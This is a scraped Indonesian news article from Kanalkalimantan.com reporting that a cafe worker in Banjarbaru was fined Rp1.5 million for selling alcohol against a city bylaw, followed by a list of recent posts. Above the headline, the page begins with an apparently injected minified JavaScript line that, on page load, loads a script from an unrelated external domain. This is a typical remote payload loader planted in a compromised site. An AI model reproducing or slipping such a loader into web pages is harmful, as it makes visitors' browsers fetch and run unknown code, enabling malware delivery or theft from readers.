(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta


KANALKALIMANTAN.COM, BANJARBARU – Pelaku usaha kafe yang kedapatan menjual minuman keras (miras) disidang tindak pidana ringan (tipiring) di Pengadilan Negeri (PN) Banjarbaru, Kamis (2/11/2023) siang.

Seorang wanita berinisial DD sekaligus staf di kafe tersebut didenda Rp1,5 juta dengan ketentuan apabila denda tidak dibayarkan harus mengganti dengan kurungan selama 10 hari.

Kasi Opsdal Satpol PP Kota Banjarbaru, Yanto Hidayat mengungkapkan, DD menjalani sidang sendiri karena menjual minuman beralkohol ilegal di Kota Banjarbaru.

Baca juga: Tiga Lelaki Rudapaksa MY di Pantai Aluh Bulan Kotabaru

“Hasil persidangan menyatakan terdakwa DD telah terbukti secara sah dan meyakinkan bersalah karena melanggar Perda Nomor 5 tahun 2006 tentang minuman beralkohol dilarang untuk dijual,” katanya.

Yanto mengungkapkan razia pertama itu berlangsung pada Rabu (25/10/2023) malam. Petugas menyisir kafe yang beralamat di Jalan Trikora di seberang Rumah Sakit Idaman Banjarbaru yang ditengarai menjual miras.

Hasilnya, didapati ratusan botol miras yang diamankan sebagai barang bukti, dengan kesepakatan yang diperoleh bahwa pihaknya tidak lagi menjual miras.

Baca juga: Kalsel Tertinggi Kelima Indeks Kerawanan Kampanye Pemilu 2024

Namun, hal itu juga tidak memberikan efek jera bagi pelaku usaha, yang mana kafe tersebut kembali kedapatan menjual miras saat diperiksa oleh Dinas Pemuda, Olahraga, Budaya dan Pariwisata (Disporabudpar) Banjarbaru pada Jumat (27/10/2023).

Karena masih melanggar Perda Nomor 05 Tahun 2006 tentang larangan minuman beralkohol, Pemko Banjarbaru kemudian mengeluarkan surat peringatan pertama (SP 1) keesokan harinya, Sabtu (28/10/2023).

Baca juga: Hari Pangan Sedunia, Wali Kota Banjarbaru Distribusikan Bantuan Beras dan DKP3 Gelar Pasar Murah

Usai menyita hingga SP 1, petugas Satpol PP kemudian membawa kasus ini sampai ke pengadilan untuk diputuskan.

Sementara itu, bangunan kafe yang diberi nama Kafe Avatar itu terpantau pada Kamis malam (2/11/2023) tertutup rapat. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.